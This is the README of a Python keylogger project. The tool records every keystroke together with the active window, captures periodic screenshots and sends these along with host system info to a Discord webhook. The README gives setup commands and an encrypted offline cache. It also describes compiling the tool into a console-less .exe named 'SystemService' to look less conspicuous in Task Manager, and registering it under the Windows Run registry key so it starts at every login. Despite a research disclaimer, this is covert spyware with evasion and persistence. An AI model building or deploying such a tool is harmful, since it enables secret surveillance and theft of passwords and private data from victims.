KeyLogger

A modular Python keylogger built for instrumentation and research purposes. Logs keystrokes with active window context, captures periodic screenshots, and reports everything to a Discord Webhook.

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Features

• Keyboard Logging — Records every keystroke along with the active application/window name
• Active Window Tracking — Each log line is labeled with the app the user was typing in
• Periodic Screenshots — Captures the screen at a set interval and sends it as a file attachment
• Discord Webhook Reporter — Delivers text logs and screenshots directly to a Discord channel
• Offline Cache — If Discord is unreachable, logs are saved locally and retried automatically on the next cycle
• Local Encryption — The local cache is encrypted using Fernet (AES-128-CBC)
• System Info on Startup — Sends hostname, IP, OS, and machine info when the program first runs
• Graceful Shutdown — Ctrl+C stops all threads cleanly

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Project Structure

KeyLogger/
├── main.py                  # Entrypoint and orchestrator
├── .env.example             # Configuration template
├── requirements.txt
│
├── collectors/
│   ├── keyboard.py          # Keyboard listener and keystroke formatting
│   ├── window.py            # Active window detection (win32gui / xdotool)
│   └── screen.py            # Screenshot capture via Pillow ImageGrab
│
├── sender/
│   └── discord.py           # Discord Webhook sender (text + file attachment)
│
└── utils/
    ├── crypto.py            # Fernet encrypt/decrypt
    ├── cache.py             # Offline queue and retry logic
    └── system_info.py      # System information collector

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Setup

1. Clone and install dependencies

git clone https://github.com/username/KeyLogger.git
cd KeyLogger
pip install -r requirements.txt

2. Configure .env

copy .env.example .env   # Windows
cp .env.example .env     # Linux / macOS

Edit the .env file:

# Your Discord Webhook URL
DISCORD_WEBHOOK_URL=https://discord.com/api/webhooks/YOUR_ID/YOUR_TOKEN

# How often to send the text log (in seconds)
LOG_INTERVAL=60

# How often to send a screenshot (in seconds)
SCREENSHOT_INTERVAL=120

# (Optional) Fernet key for local cache encryption
FERNET_KEY=

How to create a Discord Webhook:

1. Open a Discord channel and click Edit Channel
2. Go to Integrations > Webhooks > New Webhook
3. Copy the URL and paste it into .env

Generate a FERNET_KEY (optional):

python -c "from cryptography.fernet import Fernet; print(Fernet.generate_key().decode())"

3. Run

python main.py

To stop: press Ctrl+C

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Example Discord Output

System info (on startup)

=== SYSTEM INFO ===
Timestamp         : 2026-10-26 09:45:00
Hostname          : DESKTOP-ABC123
IP Address        : 192.168.1.10
OS                : Windows 11 (10.0.22631)
Machine           : AMD64
Processor         : Intel64 Family 6 ...
===================

Text log (every LOG_INTERVAL seconds)

[09:45:12 | Visual Studio Code] def main():
[09:46:01 | Google Chrome] hello world search query
[09:46:30 | Notepad] some notes typed here

Screenshot — sent as a file attachment named screenshot_20261026_094512.png

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How It Works

Startup
  |-- Send system info to Discord
  |-- Start keyboard listener   (background thread)
  |-- Start log timer           (every LOG_INTERVAL seconds)
  |-- Start screenshot timer    (every SCREENSHOT_INTERVAL seconds)

Log Timer
  |-- Flush keyboard buffer
  |-- Retry any cached payloads
  |-- Send new log to Discord
        |-- Success: done
        |-- Failure: save to .cache/ (encrypted), retry next cycle

Screenshot Timer
  |-- Capture screen
  |-- Send to Discord as a PNG file attachment

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Dependencies

Package	Version	Purpose
pynput	1.7.7	Keyboard listener
Pillow	11.1.0	Screenshot via ImageGrab
requests	2.31.0	HTTP requests to Discord Webhook
cryptography	42.0.5	Fernet encryption for local cache
python-dotenv	1.0.1	Load configuration from .env
pywin32	312	Active window detection on Windows

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Compatibility

OS	Status
Windows	Full support
Linux	Supported (requires xdotool)
macOS	Not tested

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Running Invisibly (No Console Window)

Use install.py to compile the project into a standalone .exe with no visible console window.

Compile only

python install.py

Output: dist/SystemService.exe — runs silently in the background with no window.

Compile and register to Windows startup

python install.py --startup

This adds the .exe to HKCU\Software\Microsoft\Windows\CurrentVersion\Run so it launches automatically every time the user logs in to Windows.

Remove from startup

python install.py --uninstall

Removes the registry entry. Does not delete the .exe.

Note: The .exe name defaults to SystemService to appear less conspicuous in Task Manager. You can change the APP_NAME constant at the top of install.py.

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Disclaimer

This project is intended for research, instrumentation, and educational use on devices you own. Using it on devices or systems you do not own is illegal. Use responsibly.

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